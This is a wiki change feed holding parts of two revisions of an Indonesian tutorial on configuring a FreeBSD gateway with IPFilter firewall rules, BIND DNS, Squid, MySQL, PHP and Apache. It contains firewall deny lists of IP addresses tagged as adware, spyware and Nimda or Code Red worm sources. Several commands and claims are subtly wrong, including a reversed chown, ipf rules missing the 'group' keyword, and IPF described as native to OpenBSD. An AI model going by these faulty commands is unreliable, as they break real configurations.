Artinya sama saja dengan tidak memasang firewall.&lt;br /&gt;
&lt;br /&gt;
jika server kita hanya digunakan untuk mengakses internet keluar (outward-only), cukup kita isi firewall rules dengan satu baris:&lt;br /&gt;
&lt;br /&gt;
  pass out quick all keep state keep frags&lt;br /&gt;
&lt;br /&gt;
untuk ipf ver 4.32 (FreeBSD 4.5+) rule &amp;quot;keep&amp;quot; tidak bisa diterapkan kepada paket selain tcp/udp/icmp, jadi rule diatas dibagi menjadi:&lt;br /&gt;
&lt;br /&gt;
  pass out quick proto tcp/udp all keep state keep frags&lt;br /&gt;
  pass out quick proto icmp all keep state keep frags&lt;br /&gt;
  pass out quick all&lt;br /&gt;
  &lt;br /&gt;
Dengan menggunakan keep state, kita tinggal membuka port yang kita perlukan saja, lalu-lintas koneksi yang terkait dengan servis/port tsb selanjutnya ditangani oleh ipf, misalnya:&lt;br /&gt;
&lt;br /&gt;
  block in quick all&lt;br /&gt;
  pass out quick proto icmp all icmp-type echo keep state&lt;br /&gt;
&lt;br /&gt;
meski diatas terdapat block, icmp-reply akan tetap bisa masuk masuk karena memang diminta oleh icmp-echo.&lt;br /&gt;
pada protokol tcp/udp lainnya, pembukaan gerbang masuk ini mencakup juga control messages berupa icmp atau bahkan segmen IP dengan nomor port lainnya yang berbeda, yang masih terkait dalam koneksi tersebut.&lt;br /&gt;
  &lt;br /&gt;
catatan tambahan:                                        &lt;br /&gt;
Sebaiknya keep-state jangan terlalu di-obral supaya tidak menghabiskan resources atau bahkan membuka celah security berupa Denial of Service (DoS) Attack, lebih tepat kiranya jika hanya protokol TCP dengan SYN Flag serta port-port tertentu saja yang dipasangi keep-state seperti FTP (21), SSH (22), SMTP (25), DNS (53), DHCP (67/58), serta ICMP echo.&lt;br /&gt;
Jika hanya permintaan koneksi (ditandai dengan SYN flag) dari servis/port tertentu yang dibuka, jalur masuk semua ditutup (block in all), port FTP mau tidak mau harus diberi keep state karena setelah koneksi terjadi dia akan membuka port/jalur baru (UDP port 20, atau TCP dengan unassigned [high number] port) untuk komunikasi data.&lt;br /&gt;
&lt;br /&gt;
  pass out quick proto tcp flags S keep state&lt;br /&gt;
  pass out quick proto udp port = 53 keep state&lt;br /&gt;
  pass out quick proto icmp all icmp-type echo keep state&lt;br /&gt;
  pass out quick all&lt;br /&gt;
&lt;br /&gt;
Karena pembahasan ipf ini cukup panjang, maka akan kita singkat saja dengan menggunakan rules yang berguna secara umum&lt;br /&gt;
&lt;br /&gt;
[pre]&lt;br /&gt;
#UMUM&lt;br /&gt;
pass in  quick on lo0&lt;br /&gt;
pass out quick on lo0&lt;br /&gt;
&lt;br /&gt;
#NBNS&lt;br /&gt;
block return-rst in quick proto tcp all port 136 &amp;gt;&amp;lt; 140&lt;br /&gt;
block return-icmp-as-dest(port-unr) in quick all port 136 &amp;gt;&amp;lt; 140&lt;br /&gt;
&lt;br /&gt;
#============================================================&lt;br /&gt;
#if_1 adalah eksternal interface (yang terhubung ke internet)&lt;br /&gt;
#============================================================&lt;br /&gt;
&lt;br /&gt;
#INWARD&lt;br /&gt;
#------&lt;br /&gt;
block in  quick on if_1 all head 10000&lt;br /&gt;
#Start group 10000&lt;br /&gt;
&lt;br /&gt;
   block in quick all with opt lsrr group 10000 #block loose src routing&lt;br /&gt;
   block in quick all with opt ssrr group 10000 #block strict src routing&lt;br /&gt;
   block in quick proto tcp all with frags group 10000&lt;br /&gt;
&lt;br /&gt;
   #block no. ip address yang diketahui berbahaya, bervirus dsb.&lt;br /&gt;
   #block in quick proto tcp/udp from Danger_IPs group 10000&lt;br /&gt;
   #(lihat daftar 3.2.5.2)&lt;br /&gt;
&lt;br /&gt;
   pass in quick proto tcp all port = http flags S keep state group 10000 #jika kita pasang web server&lt;br /&gt;
&lt;br /&gt;
   block in quick proto icmp all head 11000 group 10000 #blok icmp yang tidak perlu&lt;br /&gt;
   #Start group 11000&lt;br /&gt;
      #pass in log first quick proto icmp all icmp-type echo group 11000&lt;br /&gt;
      pass in quick proto icmp all icmp-type echorep group 11000&lt;br /&gt;
      pass in quick proto icmp all icmp-type unreach group 11000&lt;br /&gt;
      pass in quick proto icmp all icmp-type redir group 11000&lt;br /&gt;
      pass in quick proto icmp all icmp-type timex group 11000&lt;br /&gt;
      block in return-icmp-as-dest(host-unr) in quick all group 11000&lt;br /&gt;
   #End group 11000&lt;br /&gt;
 &lt;br /&gt;
   #__________________________________________________&lt;br /&gt;
   block return-rst in quick proto tcp all group 10000&lt;br /&gt;
   block return-icmp-as-dest(port-unr) in quick all group 10000&lt;br /&gt;
&lt;br /&gt;
#End group 10000&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#OUTWARD bebas&lt;br /&gt;
#-------------&lt;br /&gt;
block out quick on if_1 all head 20000&lt;br /&gt;
pass out quick proto tcp/udp all keep state keep frags group 20000&lt;br /&gt;
pass out quick proto icmp all keep state keep frags 20000&lt;br /&gt;
pass out quick all 20000&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#===========================================================&lt;br /&gt;
#if_2 adalah internal interface (yang terhubung ke intranet)&lt;br /&gt;
#===========================================================&lt;br /&gt;
&lt;br /&gt;
#INWARD&lt;br /&gt;
#------&lt;br /&gt;
block in  quick on if_2 all head 30000&lt;br /&gt;
#Start group 30000&lt;br /&gt;
&lt;br /&gt;
   #Test User, tahan uninitialized host&lt;br /&gt;
   block in quick from !192.168.1.1/24 to any head 31000 group 30000&lt;br /&gt;
   #Start group 31000&lt;br /&gt;
 &lt;br /&gt;
      #Unknown User, harus daftar dhcp dulu&lt;br /&gt;
      pass in log first quick proto tcp/udp from any port = 68 to any port = 67 group 31000&lt;br /&gt;
      block return-icmp-as-dest(host-unk) in log first quick all group 31000 #Unknown&lt;br /&gt;
    &lt;br /&gt;
      #HTTP&lt;br /&gt;
      #Tahan dulu http untuk diinterogasi, mau kemanakah tujuannya.&lt;br /&gt;
      block in log first quick all port = http head 32000 group 31000&lt;br /&gt;
      #Start group 32000&lt;br /&gt;
    &lt;br /&gt;
         #HTTP block template: popups, junker, spammer etc. dilarang!&lt;br /&gt;
         block return-rst in log first quick proto tcp from any to 64.38.238.0/18 group 32000 #ADS!&lt;br /&gt;
         block return-rst in log first quick proto tcp from any to 66.28.153.36/24 group 32000 #porn&amp;amp;spy!&lt;br /&gt;
         #...dst (lihat daftar 3.2.5.1 yang berisi IP popups/spyies)&lt;br /&gt;
      &lt;br /&gt;
         #aman...&lt;br /&gt;
         pass in log first quick proto tcp all flags S keep state keep frags group 32000&lt;br /&gt;
         &lt;br /&gt;
         #HTTP-TCP only, yg lainnya di-blok by default!&lt;br /&gt;
         block return-rst in quick proto tcp all group 32000&lt;br /&gt;
    &lt;br /&gt;
      #End group 32000&lt;br /&gt;
   #End group 31000&lt;br /&gt;
 &lt;br /&gt;
   #Pada tahap ini user telah dikenal (dari 192.168.1.1/24) dan dengan permintaan port selain http&lt;br /&gt;
   #atau user dari 192.168.1.1/24 dengan port http namun protokolnya selain tcp&lt;br /&gt;
   &lt;br /&gt;
   #Tahan permintaan DNS keluar&lt;br /&gt;
   block return-icmp-as-dest(filter-prohib) in quick proto tcp/udp from any to 202.155.0.10/24 port = domain group 30000&lt;br /&gt;
 &lt;br /&gt;
   pass in log first quick proto tcp/udp all port &amp;lt; 1024 keep state group 30000 #regular ports&lt;br /&gt;
   pass in log first quick proto tcp/udp all port = 3130 keep state group 30000 #SQUID&lt;br /&gt;
   pass in log first quick proto tcp/udp all port = 3306 keep state group 30000 #MySQL&lt;br /&gt;
 &lt;br /&gt;
   #__________________________________________________&lt;br /&gt;
   #lainnya secara default di-blok&lt;br /&gt;
   block return-rst in quick proto tcp all group 30000&lt;br /&gt;
   block return-icmp-as-dest(port-unr) in quick all group 30000&lt;br /&gt;
&lt;br /&gt;
#End group 30000&lt;br /&gt;
&lt;br /&gt;
#OUTWARD bebas&lt;br /&gt;
#-------------&lt;br /&gt;
block out quick on if_2 all head 40000&lt;br /&gt;
pass out quick proto tcp/udp all keep state keep frags 40000&lt;br /&gt;
pass out quick proto icmp all keep state keep frags 40000&lt;br /&gt;
pass out quick all 40000&lt;br /&gt;
[/pre]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3.2.5.1 Daftar alamat IP popup&lt;br /&gt;
Berikut ini daftar ip popup dan advertising banner, spy, spammer dll yang selain menyebalkan juga kadang berbahaya.&lt;br /&gt;
cat.: ganti kata &amp;quot;BLOK&amp;quot; dengan: &amp;quot;block return-rst in log first quick proto tcp from any to&amp;quot;, juga nomor group disesuaikan dengan konfigurasi&lt;br /&gt;
&lt;br /&gt;
  #HTTP block template&lt;br /&gt;
&lt;br /&gt;
  #Hall Of Fames - top of sh*ts!-&lt;br /&gt;
  BLOK 64.38.238.0/18 group 42000 #popups.ini&lt;br /&gt;
  BLOK 64.38.223.51/24 group 42000 #!!!trafficcashgold.com&lt;br /&gt;
  BLOK 64.38.226.6/24 group 42000 #maxcash.cavecreek.net&lt;br /&gt;
  BLOK 64.38.247.60/24 group 42000 #count1-old.paycounter.com[]&lt;br /&gt;
  BLOK 205.180.85.40/24 group 42000 #popups.ini TOP!!! media.fastclick.net&lt;br /&gt;
  BLOK 202.180.8.129/24 group 42000 #ns1.servercyber.com&lt;br /&gt;
  BLOK 207.68.178.251/24 group 42000 #ads.msn.com&lt;br /&gt;
  BLOK 207.68.185.58/24 group 42000 #autosearch.msn.com&lt;br /&gt;
  BLOK 207.68.171.254/24 group 42000 #adobe-spy&lt;br /&gt;
  BLOK 207.68.172.253/24 group 42000 #adobe-spy&lt;br /&gt;
  BLOK 207.68.173.254/22 group 42000 #adobe-spy&lt;br /&gt;
  BLOK 209.225.0.6/24 group 42000 #servedby.advertising.com&lt;br /&gt;
  BLOK 209.225.4.72/24 group 42000 #advertising.com&lt;br /&gt;
&lt;br /&gt;
  #telkom!dont-block: BLOK 203.130.252.36/24 group 42000 #mencurigakan sih&lt;br /&gt;
&lt;br /&gt;
  #dangerous!&lt;br /&gt;
    BLOK 66.28.38.3/24 group 42000 #&lt;br /&gt;
    BLOK 209.50.252.100/24 group 42000 #4bigcash.com&lt;br /&gt;
    BLOK 209.5.187.10/24 group 42000 #freepopups.com&lt;br /&gt;
    #BLOK 209.5.187.16/24 group 42000 #adpowerzone.com&lt;br /&gt;
    #BLOK 213.249.1.67/24 group 42000 #d67.kif2.nas.panafonet.gr&lt;br /&gt;
  #End dangerous&lt;br /&gt;
&lt;br /&gt;
  #from popups.ini&lt;br /&gt;
    BLOK 12.42.235.3/24 group 42000 #popups.ini&lt;br /&gt;
    #...long-list...&lt;br /&gt;
    BLOK 216.95.228.15/24 group 42000 #popups.ini&lt;br /&gt;
  #end-from popups.ini&lt;br /&gt;
&lt;br /&gt;
  #new compilation&lt;br /&gt;
    #BLOK 66.206.15.201/24 group 42000 #indo-porn, gapapa-lah&lt;br /&gt;
    BLOK 63.167.204.56/24 group 42000 #7adpower.com&lt;br /&gt;
    #...long-list...&lt;br /&gt;
    BLOK 128.11.42.61/24 group 42000 #burstnet.com&lt;br /&gt;
    #dont-block-yahoo: BLOK 66.218.71.80/24 group 42000 #w1.scd.yahoo.com&lt;br /&gt;
  #end-new compilation&lt;br /&gt;
&lt;br /&gt;
  #old compilation&lt;br /&gt;
    BLOK 12.90.179.10/16 group 42000&lt;br /&gt;
    BLOK 63.215.149.25/24 group 42000 #porno&lt;br /&gt;
    BLOK 192.150.10.120/16 group 42000 #adobe spyier!!!&lt;br /&gt;
    #...long-list...&lt;br /&gt;
    BLOK 216.218.220.42/24 group 42000 #servergold.com - porn&lt;br /&gt;
    #beware! Namezeroes are always peeking our nbns port!&lt;br /&gt;
    BLOK 216.34.13.245 port != 80 group 42000&lt;br /&gt;
&lt;br /&gt;
  #end-old-compilation&lt;br /&gt;
&lt;br /&gt;
3.2.5.2 Daftar alamat IP berbahaya&lt;br /&gt;
Berikut ini daftar alamat IP berbahaya karena menyebarkan virus nimda atau code-red hingga tulisan ini dibuat (mungkin IP anda tercantum disini, selamat! :)).&lt;br /&gt;
penggunaannya dalam ipf.rules misalnya:&lt;br /&gt;
&lt;br /&gt;
  block return-rst in log first quick on rl1 proto tcp from 202.10.35.227 to any Group 23456 #Nimda&lt;br /&gt;
&lt;br /&gt;
  4.47.218.144#code_red&lt;br /&gt;
  &lt;br /&gt;
#internal INDOSAT NET-10.X.X.X&lt;br /&gt;
  10.1.8.108#nimda&lt;br /&gt;
  10.6.2.4#nimda&lt;br /&gt;
  #...long-list...&lt;br /&gt;
  10.6.18.68#nimda&lt;br /&gt;
#end: internal INDOSAT NET-10.X.X.X&lt;br /&gt;
&lt;br /&gt;
  24.73.201.22#code_red&lt;br /&gt;
  24.80.172.120#code_red&lt;br /&gt;
  #...long-list...&lt;br /&gt;
  24.196.16.168#code_red&lt;br /&gt;
  219.8.104.74#nimda&lt;br /&gt;
&lt;br /&gt;
4.Lain-lain&lt;br /&gt;
Dalam bagian ini diasumsikan bahwa kita akan menginstal program dari source kodenya, yang diekstrak ke direktori /usr/local/src, mis.: tar -xpvzf apache.tgz -C /usr/local/src.&lt;br /&gt;
bagian version number, jika ada, sebaiknya dihilangkan, mis.: mv  apache-1.1.23pl8  apache&lt;br /&gt;
&lt;br /&gt;
4.1. Squid&lt;br /&gt;
/configure --enable-ipf-transparent \&lt;br /&gt;
&lt;br /&gt;
#parameter lain yang perlu:&lt;br /&gt;
--prefix=/usr/local \&lt;br /&gt;
--bindir=\${prefix}/sbin \ &lt;br /&gt;
--libexecdir=\${prefix}/libexec \&lt;br /&gt;
--sysconfdir=\${prefix}/etc/squid \&lt;br /&gt;
&lt;br /&gt;
#parameter lain yang mungkin perlu:&lt;br /&gt;
--enable-storeio=&amp;quot;ufs diskd null&amp;quot; \&lt;br /&gt;
--enable-removal-policies=&amp;quot;lru heap&amp;quot; \&lt;br /&gt;
&lt;br /&gt;
#parameter tambahan:&lt;br /&gt;
--localstatedir=\${prefix}/squid \&lt;br /&gt;
--host=i686 \&lt;br /&gt;
--disable-ident-lookups \&lt;br /&gt;
--disable-wccp \&lt;br /&gt;
--enable-kill-parent-hack \&lt;br /&gt;
--enable-time-hack \&lt;br /&gt;
--with-pthreads &lt;br /&gt;
&lt;br /&gt;
make all; make install&lt;br /&gt;
&lt;br /&gt;
Dengan parameter diatas kita akan memperoleh konfigurasi squid yang mirip seperti jika kita menginstalnya melalui package.&lt;br /&gt;
Kemudian file logs dan cache di direktori /usr/local/etc/squid di chown nobody:nogroup (atau sesuai dengan usernya jika telah dibuat user untuk squid, seperti user mysql dibawah).&lt;br /&gt;
Setelah itu kita buat intial cache directory dengan menjalankan: squid -z. Default cache size adalah 100MB.&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi MySQL, PHP dan Apache==&lt;br /&gt;
&lt;br /&gt;
==MySQL==&lt;br /&gt;
&lt;br /&gt;
 /configure \&lt;br /&gt;
  --localstatedir=/var/db/mysql \&lt;br /&gt;
  --with-unix-socket-path=/var/run/mysql.sock \&lt;br /&gt;
  --host=i686 \&lt;br /&gt;
  --enable-assembler \&lt;br /&gt;
  --with-libwrap \&lt;br /&gt;
  --with-berkeley-db \&lt;br /&gt;
  --with-named-z-lib \&lt;br /&gt;
  --with-mysqld-ldflags=-all-static \&lt;br /&gt;
  --with-client-ldflags=-all-static \&lt;br /&gt;
  --without-debug \&lt;br /&gt;
  --without-bench \&lt;br /&gt;
  --without-docs \&lt;br /&gt;
  --without-readline&lt;br /&gt;
 &lt;br /&gt;
 make; make install&lt;br /&gt;
&lt;br /&gt;
Tambahkan user mysql dengan ID misalkan = 3036&lt;br /&gt;
&lt;br /&gt;
 pw add group mysql -g 3036&lt;br /&gt;
 pw add user mysql -u mysql -g mysql -wno -s /sbin/nologint -d /var/db/mysql -c &amp;quot;MySQL&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Direktori localstatedir (/var/db/mysql) diatas, *harus* read/write by user mysql:&lt;br /&gt;
chown -R /var/db/mysql mysql:mysql&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==PHP==&lt;br /&gt;
Sebelumnya kita harus cd ke source apache dulu: cd /usr/local/src/apache, lalu jalankan  ./configure (plain).&lt;br /&gt;
&lt;br /&gt;
Kemudian baru cd ke source php: cd /usr/local/src/php dan mengkonfigurasi php sesuai preferensi kita.&lt;br /&gt;
&lt;br /&gt;
 /configure \&lt;br /&gt;
  --build=i686 \&lt;br /&gt;
  --prefix=/usr/local \&lt;br /&gt;
  --with-mysql=/usr/local \&lt;br /&gt;
  --with-apache=../apache \&lt;br /&gt;
  --with-pcre-regex=/usr/local \&lt;br /&gt;
  --with-mcrypt \&lt;br /&gt;
  --with-zlib \&lt;br /&gt;
  --with-ftp \&lt;br /&gt;
  --enable-track-vars \&lt;br /&gt;
  --enable-ctype &lt;br /&gt;
&lt;br /&gt;
 make; make install &lt;br /&gt;
&lt;br /&gt;
==Apache==&lt;br /&gt;
&lt;br /&gt;
 /configure \&lt;br /&gt;
  --enable-module=most \&lt;br /&gt;
  --enable-shared=max \&lt;br /&gt;
  --server-uid=www \&lt;br /&gt;
  --server-gid=www \&lt;br /&gt;
  --activate-module=src/modules/php4/libphp4.a &lt;br /&gt;
&lt;br /&gt;
 make; make install &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Penutup==&lt;br /&gt;
&lt;br /&gt;
Sesuai dengan tujuan utama tulisan ini, beberapa sub-sistem mungkin hanya sedikit atau sama sekali tidak dibahas, bagian-bagian tersebut dianggap sesuai dengan instalasi default.&lt;br /&gt;
Terakhir, penulis dengan senang hati akan menerima kritik dan saran dari pembaca semua, semoga ada manfaatnya.&lt;br /&gt;
&lt;br /&gt;
 aa, aa.delphi@yahoo.com&lt;br /&gt;
&lt;br /&gt;
URL: http://opensource.telkomspeedy.com/forum/viewtopic.php?pid=22122&lt;/div&gt;</summary>
		<author><name>Aa</name></author>
	</entry>
	<entry>
		<id>https://lms.onnocenter.or.id/wiki/index.php?title=Mengoptimalkan_kemampuan_firewall_dan_proxy_server_FreeBSD_dalam_sebuah_network_sederhana_yang_hanya_memiliki_satu_IP_global&amp;diff=4662</id>
		<title>Mengoptimalkan kemampuan firewall dan proxy server FreeBSD dalam sebuah network sederhana yang hanya memiliki satu IP global</title>
		<link rel="alternate" type="text/html" href="https://lms.onnocenter.or.id/wiki/index.php?title=Mengoptimalkan_kemampuan_firewall_dan_proxy_server_FreeBSD_dalam_sebuah_network_sederhana_yang_hanya_memiliki_satu_IP_global&amp;diff=4662"/>
		<updated>2008-07-27T03:55:04Z</updated>

		<summary type="html">&lt;p&gt;Aa: /* File domain.db: */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Sumber:  aa, aa.delphi@yahoo.com&lt;br /&gt;
URL: http://opensource.telkomspeedy.com/forum/viewtopic.php?pid=22122&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dalam tulisan ini akan dibahas (mudah-mudahan) secara cukup detail, bagaimana mengoptimalkan kemampuan firewall dan proxy server FreeBSD dalam sebuah network sederhana yang hanya memiliki satu IP global, baik dinamik maupun statik (dial-up PPP, Cable-Modem atau DSL).&lt;br /&gt;
&lt;br /&gt;
Model network seperti ini merupakan model yang sangat umum digunakan oleh warnet serta perusahaan kecil yang berniat untuk memberikan akses internet yang murah meriah bagi para karyawannya.&lt;br /&gt;
&lt;br /&gt;
Teknik yang akan dibahas ini merupakan salah satu (mungkin merupakan yang terbaik) dibandingkan dengan alternatif lainnya seperti menggunakan hardware tertentu (modem dengan kapabilitas internet sharing), kelemahan: jumlah host sangat terbatas, antara 2 - 8, serta fleksibilitasnya sangat rendah, hampir tanpa menggunakan pengamanan dari intruder.&lt;br /&gt;
&lt;br /&gt;
Pilihan lainnya adalah dengan sistem operasi MS Windows (yang sudah sangat familiar), fleksibilitas cukup, namun dengan tingkat pengamanan yang relatif rendah.&lt;br /&gt;
&lt;br /&gt;
Pilihan OS lainnya seperti Linux, OpenBSD atau Solaris bisa juga diperhitungkan, namun overall performance, kombinasi FreeBSD dan IPF adalah yang terbaik dinilai dari segi keamanan/security, performansi, dukungan resources (software, kompatibilitas, utilitas dan dokumentasi) yang tersedia, serta biaya yang dibutuhkan. Dengan FreeBSD mesin 386 tua milik kita disulap menjadi sebuah server yang powerful, robust dan tahan banting.&lt;br /&gt;
&lt;br /&gt;
cat: IPF (IPFilter) adalah paket firewal native dari OpenBSD, sistem operasi yang selama ini dinilai sebagai salah satu OS yang dianggap paling secure.&lt;br /&gt;
&lt;br /&gt;
==Topologi Network==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
===============================================&lt;br /&gt;
&lt;br /&gt;
             _____&lt;br /&gt;
            | ISP |&lt;br /&gt;
            |_____|&lt;br /&gt;
  DNS: 202.155.0.10, 202.155.0.20&lt;br /&gt;
               |&lt;br /&gt;
               | 10.20.30.40&lt;br /&gt;
            ___|___  &lt;br /&gt;
           |FreeBSD|........... &lt;br /&gt;
           |_______|  Virtual-Host 192.168.2.1&lt;br /&gt;
  my.domain.box|  Gateway      &lt;br /&gt;
   192.168.1.1 |  Firewall - IPF/IPNAT&lt;br /&gt;
               |  DNS Server - BIND&lt;br /&gt;
   Network:    |  HTTP Server - Apache&lt;br /&gt;
   192.168.1.0 |  Proxy Server - Squid&lt;br /&gt;
  255.255.255.0|  SQL Server - MySQL&lt;br /&gt;
               |  &lt;br /&gt;
               |  &lt;br /&gt;
      _________|____...___    &lt;br /&gt;
     |     |     |        |  &lt;br /&gt;
   __|__ __|__ __|__    __|__&lt;br /&gt;
   Host1 Host2 Host3    HostN&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ada 3 pokok bahasan utama dalam kasus ini.&lt;br /&gt;
# DNS&lt;br /&gt;
# DHCP Server&lt;br /&gt;
# IPF/IPNAT&lt;br /&gt;
&lt;br /&gt;
lain-lain: Apache, MySQL dan Squid tidak akan dibahas panjang karena tidak esensial dalam konteks ini.&lt;br /&gt;
&lt;br /&gt;
==DNS==&lt;br /&gt;
&lt;br /&gt;
Untuk mengaktifkan name server jalankan /stand/sysinstal pilih menu Configure, kemudian Startup, lalu aktifkan (enable) named. Jika anda ingin menjalankan named dalam sandbox, isi named flags dengan argumen seperti dalam uraian butir 1.3.&lt;br /&gt;
&lt;br /&gt;
Cara lainnya adalah dengan mengedit langsung /etc/rc.conf, ganti atau tambahkan entri di &lt;br /&gt;
&lt;br /&gt;
 /etc/rc.conf:&lt;br /&gt;
   named_enable=&amp;quot;yes&amp;quot;&lt;br /&gt;
   named_flags=&amp;quot;&amp;quot;  #lihat uraian selanjutnya&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Cache-Only DNS Server==&lt;br /&gt;
&lt;br /&gt;
Konfigurasi DNS yang paling sederhana, yang kemungkinan besar akan berjalan lancar adalah menggunakan konfigurasi jenis cache-only DNS Server, artinya server DNS kita TIDAK memiliki otoritas atas satu zone-pun juga kecuali localhost dan loopback network 127.&lt;br /&gt;
&lt;br /&gt;
Kekurangan dari model DNS Server seperti ini adalah, tentu saja, host-host dalam network kita tidak dapat saling mengenal. Hal ini bisa kita uji dengan perintah ping dari satu host terhadap host lainnya.&lt;br /&gt;
&lt;br /&gt;
cat.: Dalam terminologi BIND, zone adalah suatu area network dimana sebuah server DNS memiliki otoritas atas pengaturan nama atas host-host yang ada di dalamnya.&lt;br /&gt;
&lt;br /&gt;
Untuk network yang relatif sederhana seperti pada small-office atau di organisasi kecil, suatu zone umumnya hanya berupa satu domain, sementara di organisasi yang cukup besar, seperti di lingkungan kampus dan terutama di sebuah ISP, biasanya sebuah server DNS akan menangani suatu zone yang terdiri atas lebih dari satu domain.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi dalam named.conf==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/namedb&amp;quot;;&lt;br /&gt;
   forwarders {&lt;br /&gt;
   // daftar DNS Server ISP kita misalnya:&lt;br /&gt;
     202.155.0.10;&lt;br /&gt;
     202.155.0.20; &lt;br /&gt;
   };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;0.0.127.in-addr.arpa&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;localhost.rev&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;.&amp;quot; {&lt;br /&gt;
   type hint;&lt;br /&gt;
   file &amp;quot;root.servers&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==File-file database==&lt;br /&gt;
&lt;br /&gt;
==File localhost.rev:==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 @TTL 3600&lt;br /&gt;
 @ IN SOA my.domain.box. root.domain.box. (&lt;br /&gt;
   3600,900,36000,3600&lt;br /&gt;
   )&lt;br /&gt;
   IN NS my.domain.box.&lt;br /&gt;
 1 IN PTR localhost.domain.box.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
cat.: Untuk menghindari salah ketik, sebaiknya kita cukup menjalankan perintah: sh make-localhost di direktori /etc/namedb.&lt;br /&gt;
&lt;br /&gt;
==File root.servers:==&lt;br /&gt;
File ini tidak perlu dirubah, biarkan saja sesuai defaultnya.&lt;br /&gt;
&lt;br /&gt;
==Internal-Root DNS Server==&lt;br /&gt;
Seperti dapat dilihat pada gambar diatas, network kita termasuk kedalam network kelas C, dengan alamat 192.168.1.0 dan netmask 255.255.255.0. IP address network card pertama (if_1) ditetapkan oleh ISP, sementara if_2 dapat kita tentukan sendiri.&lt;br /&gt;
&lt;br /&gt;
Selanjutnya kita dapat menetapkan hal-hal sebagai berikut:&lt;br /&gt;
&lt;br /&gt;
 Zone/domain: domain.box&lt;br /&gt;
 Reverse-Network: 1.168.192.in-addr.arpa&lt;br /&gt;
 Server address: 192.168.1.1&lt;br /&gt;
 Server name: my.domain.box&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi dalam named.conf:==&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi awal (Cache-Only DNS Server):==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/namedb&amp;quot;;&lt;br /&gt;
   forwarders {&lt;br /&gt;
   // daftar DNS Server ISP:&lt;br /&gt;
     202.155.0.10;&lt;br /&gt;
     202.155.0.20; &lt;br /&gt;
   };&lt;br /&gt;
   version &amp;quot;19.09.1969&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;0.0.127.in-addr.arpa&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;localhost.rev&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi named.conf yang perlu ditambahkan (atau dirubah):==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 forward;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;domain.box&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;box/domain.db&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;1.168.192.in-addr.arpa&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;box/domain.rev&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;.&amp;quot; {&lt;br /&gt;
   type hint;&lt;br /&gt;
   //file &amp;quot;root.servers&amp;quot;;&lt;br /&gt;
   file &amp;quot;box/root.box&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==File-file database==&lt;br /&gt;
&lt;br /&gt;
==File localhost.rev:==&lt;br /&gt;
&lt;br /&gt;
Tidak perlu ada perubahan dalam file ini, sama dengan butir 1.1.2.1 diatas.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==File domain.db:==&lt;br /&gt;
&lt;br /&gt;
Berisi daftar translasi name to address untuk seluruh host yang ada di domain domain.box, hati-hati character comment di sini adalah semi-colon (;) bukan hash (#).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 @TTL 3600&lt;br /&gt;
 @ IN SOA my.domain.box. root.domain.box. (&lt;br /&gt;
   3600,900,36000,3600&lt;br /&gt;
   )&lt;br /&gt;
   IN NS my.domain.box.&lt;br /&gt;
&lt;br /&gt;
 localhost IN A 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
 my IN A 192.168.1.1&lt;br /&gt;
 host1 in cname my&lt;br /&gt;
 host2 IN A 192.168.1.2&lt;br /&gt;
 host3 IN A 192.168.1.3&lt;br /&gt;
 ..&lt;br /&gt;
 ..&lt;br /&gt;
 ..&lt;br /&gt;
 host254 IN A 192.168.1.254&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
cat.: Perhatikan bahwa dalam database ini kita perlu menambahkan entri untuk localhost, sehingga setiap rujukan atas localhost, dari manapun juga, akan diarahkan ke loopback masing-masing.&lt;br /&gt;
&lt;br /&gt;
==File domain.rev:==&lt;br /&gt;
Kebalikan dari domain.db, merupakan reverse address to name atas domain.box untuk network 192.168.1.0/24&lt;br /&gt;
&lt;br /&gt;
 @TTL 3600&lt;br /&gt;
 @ IN SOA my.domain.box. root.domain.box. (&lt;br /&gt;
